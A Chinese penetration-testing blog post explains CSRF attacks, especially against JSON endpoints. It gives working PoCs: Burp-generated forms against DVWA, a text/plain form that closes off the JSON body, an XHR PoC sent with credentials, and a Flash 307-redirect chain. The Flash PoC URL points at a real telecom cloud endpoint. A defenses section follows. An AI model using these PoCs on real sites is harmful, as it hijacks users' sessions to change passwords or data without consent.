一次渗透测试引发的Json格式下CSRF攻击的探索
0x00 前言
漏洞背景
hw时期在电信三巨头之一旗下的子公司出差,做一下渗透测试。公网的业务主挖逻辑漏洞,但是每次挖着挖着就变成了CSRF攻击,出差半个月算是把这辈子的CSRF都给挖完了。
testme师傅说的一句话:开发者修或不修,挖洞者觉得鸡肋不鸡肋,CSRF漏洞就躺着那里。这一次的体会很深,某云基本所有的业务逻辑都存在CSRF洞。
CSRF原理
还是来梳理一下大致的流程
1.用户C浏览并登录信任网站A
2.验证通过,Web A产生一个Cookie返回给用户C
3.用户在没有等处的情况下访问Web B
4.B要求访问第三方站点Web A,发出一个请求
5.浏览器带着步骤2产生的Cookie,根据步骤4的请求访问Web A
这就造成了一次CSRF攻击,原理是利用目标用户的合法身份,以用户的名义执行非法操作
0x01 常见CSRF利用
GET型CSRF
这里选择DVWA的low级,可以抓包查看修改密码的请求如下
可以看到发送了一个GET请求,来看看有哪些HTML元素可以实现这一请求
<link href="">
<img >
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0;url=">
<iframe >
<frame >
<script >
<bgsound >
<embed >
<audio >
<video >
<a href="">
<table background="">
以及CSS样式中的:
@import ""
background:url("")
...
这里可以直接选择Burp Suite的Generate CSRF PoC生成
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.115.139:8088/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123456" />
<input type="hidden" name="password_conf" value="123456" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
当用户在登录状态下打开并点击Submit request按钮时,便会提交修改密码请求
POST型CSRF
POST型与GET型的区别就在于POST型CSRF需要构造form表单,再由JavaScript自动提交
这里给出一个参考的攻击页面,当然也可以Burp Suite直接生成POC
<html>
<head>
<title>
post data
</title>
</head>
<body>
<form id="id" method="post" action="https://www.xxx.com/submit">
</form>
<script>
var id = document.getElementById("id");
id.submit();
</script>
</body>
</html>
0x02 真实场景利用
某云多处POST型CSRF
创建Access Key
由于是即将上线的业务,6月22日前暂未修复,关键数据打马
创建Access Key只是向服务器提交了一个POST请求,数据为空,POC如下
当用户在已登录情况下打开,会创建一个Access Key
删除Access Key
这里由POST提交的id即为我们之前创建的Access Key(不是上面那一个。。)
我最先测的是删除的这个功能点,但是甲方不收,说这个id没有办法获取到,后来才测了创建的那个功能点。实际上,整个系统能够越权的地方都产生了CSRF,不能越权的地方也可以用CSRF去打,算是通病了。
POC与上面那个类似,唯一区别就是这里带了post数据,value替换为相应id即可。
今天准备复现的时候发现系统已经暂时下线了,估计正在修复,所以用了之前提交的测试报告的图。
0x03 Json格式下的CSRF
在内网测试域遇到了一个POST型CSRF,且提交的数据为json格式
如果直接用常规poc的话,会导致415,poc如下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://xxxxxx/simauth/app/updateAppInfo" method="POST" enctype="text/plain">
<input type="hidden" name="{"appId":"300016001555","appName":"0xdawnnn"}" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
那我们为何不能使用这个常规构造的PoC来利用JSON端点中的CSRF呢?原因如下:
1、POSTbody需要以JSON格式发送,而这种格式如果用HTML表单元素来构建的话会比较麻烦。
2、Content-Type头需要设置为application/json。设置自定义Header需要使用XMLHttpRequests,而它还会向服务器端发送OPTIONS预检请求。
思路一:json格式闭合
我们可以抓包看一下这个poc提交的请求详情
可以看到这段POST数据结尾多了一个=
,这种情况下服务端的JSON解析器可能会拒绝这段JSON,因为它不符合JSON的数据格式。 这时候我们可以给value赋值从而对=
后的数据进行补全,使其构造成一个完整的json格式,可以避免解析器报错
<input type="hidden" name='{"appId":"300016001555","appName":"0xdawnnn","test":"' value='test"}' />
可以看到这里已经闭合成了一个完整的json格式的数据,但是提交数据还是会返回415.因为在原始的数据包中Content-Type
为application/json
,而以form表单的形式去提交是没办法设置enctype
为application/json
的。为了进一步验证,修改enctype
为application/json
,再抓包查看请求详情。
可以看到Content-Type
自动转换为了application/x-www-form-urlencoded
,进一步验证
将enctype
改回text/plain
并抓包,修改Content-Type
为application/json
返回操作成功,自此可以确定服务端对Content-Type
进行了校验。
思路二:通过XHR提交
当跨域影响用户数据HTTP请求(如用XMLHttpRequest发送post)时,浏览器会发送预检请求(OPTIONS请求)给服务端征求支持的请求方法,然后根据服务端响应允许才发送真正的请求。 然而如果服务端对Content-Type进行校验,则不会响应这个OPTIONS请求,从而利用失败。
所以在此场景下,这一思路是行不通的。但是更多的情况下服务端可能不会校验Content-Type,或者不会严格校验Content-Type是否为application/json,所以很多情况下这是可用的。
XHR CSRF POC
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.xxxxx.com/simauth/app/updateAppInfo", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"appId":"300016001555","appName":"0xdawn"});
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();"/>
</form>
</body>
</html>
思路三:借助flash,利用307跳转实现CSRF
1.制作一个Flash文件
2.制作一个跨域XML文件
3.制作一个具有307状态码的php文件
已经有大牛造好轮子了,参考:https://github.com/sp1d3r/swf_json_csrf
POC
https://www.0xdawn.cn/swf_json_csrf/test.swf?endpoint=https://sim.ecloud.10086.cn:8085/simauth/app/updateAppInfo&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={%22appId%22:%22300016001555%22,%22appName%22:%220xdawn%22}&php_url=https://www.0xdawn.cn/swf_json_csrf/test.php
或者直接在ui.html页面配置
整个攻击链
1、受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。
2、attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。
3、victim.com收到一条POST请求,并且Content-Type为application/json。
4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。
然而在实际测试中却并没有起到理想中的效果,只能是记录一下方法
0x04 防御CSRF
检查Referer
限制Cookie生命周期
CSRF产生的主要原因就是Cookie时效性未过的情况下,冒用用户身份进行非法操作。而如果cookie失效,或者退出登录,甚至切换一个浏览器,CSRF就不复存在了。限制Cookie的生命周期,一定程度上能减少被CSRF攻击的概率。
使用验证码
使用验证码是阻断CSRF攻击的有效手段,在用户进行相应操作时输入验证码,可以最大限度上杜绝CSRF,唯一的缺点是会降低用户体验。
使用一次性token
Anti-CSRF-token是当下最流行的解决方案,在开发过程中我们可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务端进行token校验,如果请求中没有token或者token内容不正确,则认为是CSRF攻击而拒绝该请求。
0x05 Reference
参考链接
谈谈Json格式下的CSRF攻击
浅析CSRF漏洞的利用与防御机制
JSON CSRF新姿势
JSON CSRF的一个案例
参考文献
Web前端黑客技术揭秘
点击👇跳转原文